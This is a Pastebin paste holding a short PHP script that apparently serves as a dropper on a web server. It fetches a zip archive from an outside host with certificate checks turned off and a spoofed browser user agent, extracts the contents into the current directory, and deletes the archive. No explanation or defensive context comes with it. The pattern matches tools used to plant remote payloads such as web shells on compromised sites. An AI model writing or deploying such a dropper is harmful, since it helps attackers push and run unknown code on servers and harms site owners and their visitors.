Advertisement
linuxmoney

test.zip

Jan 4th, 2018
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. <?php
  2.  
  3. function mbotmbot($sites) {
  4. $ch = curl_init($sites);
  5. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  7. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  8. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  9. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  10. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  11. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  12. $data = curl_exec($ch);
  13. curl_close($ch);
  14. return $data;
  15. }
  16. $x=mbotmbot("www.uvadiadelfia.it/sess.zip");
  17. @file_put_contents("sess.zip", $x);
  18.  
  19. $zip = new ZipArchive;
  20. $res = $zip->open('sess.zip');
  21. if ($res === TRUE) {
  22. $zip->extractTo('./');
  23. $zip->close();
  24. echo 'OK!';
  25. } else {
  26.  
  27. echo 'FAIL!';
  28. }
  29. unlink('sess.zip');
  30.  
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement